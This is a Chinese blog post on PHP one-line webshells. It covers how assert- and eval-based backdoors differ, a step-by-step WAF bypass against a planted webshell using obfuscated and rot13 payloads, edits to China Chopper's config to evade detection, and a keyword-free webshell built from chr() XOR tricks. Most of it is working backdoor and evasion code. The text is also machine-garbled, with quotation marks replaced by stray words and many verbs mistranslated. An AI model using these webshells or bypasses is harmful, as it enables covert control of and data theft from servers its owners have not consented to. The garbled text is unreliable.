请输入图片描述
作者:3xp10it
预估稿费:400RMB(不服你也来投稿啊!
)
投稿办法:发送邮件至linwei#360.cn,或上岸网页版在线投稿
0x00 eval和assert的差异
http://www.vuln.cn/8395
http://www.php.net/manual/zh/function.eval.php
http://php.net/manual/zh/functions.variable-functions.php
1)assert是函数,eval不是函数,是措辞布局器
2)eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串,assert($a)的$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只实行到第一个,利用assert来实行多条php语句可借助eval来实现
eg.
1assert(eval(\"大众echo 1;echo 2;\"大众));
[把稳上面这句如果是assert(eval(\"大众echo 1;echo 2\"大众));这样写是不会实行echo 1也不会实行echo 2的,由于eval利用的字符串假如有分号的php语句]
eg.
1assert(eval(base64_decode($_POST[cmd])));
菜刀的连接办法为:
1assert(eval(base64_decode($_POST[z0])));
新版菜刀无法连接assert类型的一句话,由于新版菜刀将连接办法改成了:
1chopperPassValue=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval($xx($yy[z0]));
相称于:
12$xx=\"大众base64_decode\"大众
@eval($xx($_POST[z0]))
也即新版菜刀这里有两个以上的分号导致无法连接assert类型的一句话
link:http://joychou.org/index.php/web/caidao-20141213-does-not-support-php-assert-oneword-backdoor-analysis.html
2011年前的菜刀支持assert类型的webshell,2014年往后的菜刀不支持assert类型的webshell
3)实例
a)assert(phpinfo());
或
b)assert(\公众phpinfo()\"大众);
或
c)assert(\"大众phpinfo();\公众);
上面3个都是可以的,由于PHP函数中的参数如果是字符串可以不加双引号,但是:
a)assert(phpinfo();)不可实行,由于assert后面要接一个表达式,phpinfo();不是表达式,是一条php语句,但是换成assert(\"大众phpinfo();\"大众)就可以实行了,这样\公众phpinfo();\"大众当作是一个表达式,但是\公众phpinfo();print_r(666);\公众[assert的参数为字符串时字符串的引号中有多个分号时]不被当作表达式
b)assert(\公众echo 1\公众)是不可实行的,由于assert不能实行echo,eval(\"大众echo 1\"大众)是可以的,assert类型的webshell不能用echo来检测,可以用print_r(1),也即assert(\"大众print_r(1)\"大众)或assert(\"大众print_r(1);\公众)都是可以的
c)assert(\"大众print_r(1);print_r(2);\公众)或assert(\公众print_r(1);print_r(2)\"大众)都只能实行print_r(1),assert只会实行到第一个分号内的语句
0x01 一个waf的绕过过程
1. waf过滤大部分关键字,eg.base64_decode,``,system等
2.考试测验用如下方法绕过[uri=mytag_js.php?aid=9527],是个assert类型的webshell,通过echo不能实行,print_r可以实行判断出不是eval类型webshell
3.考虑有可能是新版菜刀不支持assert类型的webshell连接,换成老版本菜刀依然失落败,换成下面过waf的菜刀依然失落败http://joychou.org/index.php/web/make-own-chopper-which-can-bypass-dog.html
4.hackbar中post:[下面假设密码是x]
1x=eval(\"大众echo 1;$one=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103));$three=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));echo $_POST[nihao];\公众)&nihao=cGhwaW5mbygp
个中$one=\"大众assert\公众,$three=\"大众base64_decode\"大众,$nihao=\公众phpinfo()\"大众以base64编码后的结果,结果无法成功实行phpinfo(),将chr去掉变成:
x=eval(\"大众echo 1;echo $_POST[nihao];\"大众)&nihao=cGhwaW5mbygp,可以实行大略的echo,现在要想办法把$one和$three换成其他形式,其他不是chr组合的形式
5.考试测验post换成如下数据[没有chr]:
1x=eval(\公众echo 1;$one='assert';$three='b'.'as'.'e'.(64).'_decode';@$one(@$three($_POST[nihao]));\公众)
依然失落败
6.考试测验不用base64_decode,用rot13
1x=eval(' assert(str_rot13(\"大众cucvasb()\"大众)) ;')
可实行phpinfo()语句,考试测验实行system(\公众whoami\"大众),如下:
1x=eval(' assert(str_rot13(\"大众flfgrz(\\"大众jubnzv\\"大众)\公众)) ;')
实行失落败,有可能是php禁用了命令实行函数或做事器开启了安全模式
7.考虑直接实行读文件php代码
12345x=eval('$filename =\"大众../index.php\公众;
$handle = fopen($filename, \公众r\公众);
$contents = fread($handle, filesize ($filename));
print_r($contents);
fclose($handle);')
结果可以实行成功,只是掌握起来未便利,每次要自己写php代码,考试测验改chopper,将里面的关键处的base64_decode换掉
8.最新版本的菜刀可配置度较高,但仍旧采取base64加密传输,在菜刀目录下有个caidao.conf利用下面两个特性变动<PHP_BASE>标签中的连接方法可过狗:
a)assert类型的webshell正常情形下只能实行一句话[一个分号内的内容],想让assert类型的webshell实行多句PHP代码,可借助eval实行多条命令
b)把base64_decode想办法稠浊eg.将caidao.conf中的PHP_BASE改成如下内容:
1eval('$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);@eval($a(\公众%s\公众));');
成功过狗
9.在waf阻拦下无法连接一句话chopper时,每种waf的阻拦规则不一样,可在新版chopper目录下放多个不同的可过waf的配置文件备用,一个caidao.conf不过狗时再用其他caidao.conf,有效配置为\"大众caidao.conf\公众文件
0x02 免杀无特色无关键字一句话
1. 用chr(%d)^chr(%d)代替上面的chr
1234for($i=1;$i<=200;$i++)
{echo 'chr(19)^chr('.$i.') is:';
echo chr(19)^chr($i);
echo '<br>';}
2. 上面的php代码可得到以chr(19)为根本的关键字的组合形式如下:
12345678910111213141516171819chr(19)^chr(114) is:a
chr(19)^chr(96):s
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(97) is:r
chr(19)^chr(103) is:t
chr(19)^chr(113):b
chr(19)^chr(114):a
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(37) is:6
chr(19)^chr(39) is:4
chr(19)^chr(76) is:_
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
chr(19)^chr(112) is:c
chr(19)^chr(124) is:o
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
3. 组合
123$a=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103)) ;
$b=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));
$a($b($_POST[cmd]));
4. 用法
eg.
在hackbar中post:
1cmd=ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==
个中ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==是eval('echo 1;phpinfo();')的base64编码的结果
如果要实行更繁芜的功能可通过以下步骤:
a)在菜刀中新加webshell的url和对应密码
b)_charles开sock5代理,eg.127.0.0.1:8889
c)用proxfier设置菜刀[任意版本菜刀都可]的代理为b)中供应的127.0.0.1:8889
d)把想做的动作在菜刀中做出来,在charles中查看对应的base64编码过的代码是什么
e)将d中得到的base64编码过的代码用hackbar或其他工具base64decode,将解码后的php代码更换上面eval('echo 1;phpinfo();')中的echo 1;phpinfo();后再将eval('这里是解码后的代码')这个整体用hackbar或其他工具base64编码下
f)末了将cmd=xxxxxxxxxxxx 在hackbar中post出去,个中xxxxxxxxx是e中编码后的结果
5. 特点
a)传输的数据是base64加密过的没有任何关键字的数据
b)做事端一句话没有任何关键字
c)利用办法不是很方便
0x03 干系链接
mytag_js.php样本文件及剖析
样本文件:https://github.com/3xp10it/webshell/tree/master/mytag_js
干系剖析:http://www.nxadmin.com/penetration/1168.html